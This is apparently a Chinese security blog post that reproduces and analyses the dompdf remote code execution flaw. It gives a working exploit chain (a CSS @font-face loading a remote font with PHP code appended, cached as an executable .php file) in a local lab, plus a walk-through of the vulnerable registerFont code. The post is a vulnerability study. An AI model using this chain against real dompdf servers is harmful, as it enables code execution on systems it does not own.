0x00 前言

这个漏洞是在去年的三月份爆出来的,今天刚好遇到这个漏洞的环境,遂写一文记录。

0x01 漏洞详情

漏洞描述

dompdf是一个用于将HTML转换为PDF的PHP库,由于其易用性和广泛的使用,dompdf也成为了攻击者的攻击目标,借用MAXIMILIAN的图片:

Untitled

利用过程:

1、使用外部的css注入到pdf当中

2、css内容包含了远程的字体链接(存在恶意代码),从而让应用程序请求远程服务器的字体文件进行加载(其实这里还有个无回显的SSRF漏洞,但是比较鸡肋)

3、当中加载字体的时候会生成php的缓存文件,从而导致了RCE。

漏洞利用

1、前提条件

需要开启isPhpEnabledisRemoteEnabled

Options.php的161行和183行

* @var bool
     */
    private $isPhpEnabled = false;

    /**
     * Enable remote file access
     *
     * If this setting is set to true, DOMPDF will access remote sites for
     * images and CSS files as required.
     *
     * ==== IMPORTANT ====
     * This can be a security risk, in particular in combination with isPhpEnabled and
     * allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
     * This allows anonymous users to download legally doubtful internet content which on
     * tracing back appears to being downloaded by your server, or allows malicious php code
     * in remote html pages to be executed by your server with your account privileges.
     *
     * This setting may increase the risk of system exploit. Do not change
     * this settings without understanding the consequences. Additional
     * documentation is available on the dompdf wiki at:
     * https://github.com/dompdf/dompdf/wiki
     *
     * @var bool
     */
    private $isRemoteEnabled = false;

2、利用过程

使用的环境是https://github.com/positive-security/dompdf-rce,启动后记得修改**exploit_font.php里面的地址。

我们新建一个test.css,设置一个背景为红色的的内容,然后使用link进行加载:

body{background-color:red}

在浏览器进行访问:

http://127.0.0.1/dompdf/index.php?pdf&title=

可以看到已经加载了远程css的内容:

Untitled

也就是说存在XSS漏洞,那么我们怎么进行RCE,先演示漏洞。

编写一个css文件:

@font-face {
    font-family:'exploitfont';
    src:url('http://127.0.0.1:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

访问我们的css文件会加载远程的字体文件,我们再编写一个有包含我们恶意代码的字体文件,因为该漏洞要先解析字体才可以往下执行,所以,去https://github.com/dompdf/php-font-lib找一个字体然后在最后面加上phpinfo的代码:

<?php phpinfo(); ?>

然后访问该链接:

http://127.0.0.1/dompdf/index.php?pdf&title=

会出现已经加载了两个文件:

python3 -m http.server 9001
Serving HTTP on :: port 9001 (http://[::]:9001/) ...
::1 - - [29/May/2023 14:56:29] "GET /exploit.css HTTP/1.0" 200 -
::1 - - [29/May/2023 14:56:29] "GET /exploit_font.php HTTP/1.0" 200 -

/dompdf/lib/fonts/ 会生成该文件:

exploitfont_normal_3f83639933428d70e74a061f39009622.php

http://127.0.0.1/dompdf/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

已经可以执行我们的代码:

Untitled

漏洞分析

我们看这个版本修复的地方是在:

https://github.com/dompdf/dompdf/pull/2808/files/00b2b360ace768d58430f1cc5a20cb43d58bbc1a#diff-a0473fa74c65efedd487f657d52cb196245a84d2b13e622818dd0d7283da6d38

Untitled

漏洞出现在FontMetrics.php文件的registerFont函数:

/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
   $fontname = mb_strtolower($style["family"]);//这里是获取我们刚才ccs文件的font-family参数内容
   $styleString = $this->getType("{$style['weight']} {$style['style']}");//normal内容

   $fontDir = $this->options->getFontDir();
   $remoteHash = md5($remoteFile);//这里就是文件名的md5,加密的内容为http://127.0.0.1:9001/exploit_font.php

   $prefix = $fontname . "_" . $styleString;
   $prefix = preg_replace("[\\W]", "_", $prefix);
   $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);

   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));//这里就是漏洞点了,解析url然后把url里面的后缀名当作缓存的后缀名导致了漏洞产生

   // Download the remote file
   list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);

   $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
   file_put_contents($localTempFile, $remoteFileContent);

   $font = Font::load($localTempFile);

   if (!$font) {
       unlink($localTempFile);
       return false;
   }

   $font->parse();
   $font->close();

   unlink($localTempFile);

   // Save the changes
   file_put_contents($localFile, $remoteFileContent);
   $this->saveFontFamilies();

   return true;
}

部分解释已经在代码中有备注,后面就是*file_put_contents*($localFile, $remoteFileContent),保存文件。

我们可以开phpstorm的xdebug进行调试,查看整个漏洞的利用链:

Untitled

一开始就是因为$dompdf->render() 的渲染,然后到加载$this->css->load_css_file css文件,才触发了漏洞。

0x02 总结

这个漏洞其实利用上不难,就是看怎么去发现,主要还是从file_put_contents函数去寻找可利用的点。

0x03 参考

https://positive.security/blog/dompdf-rce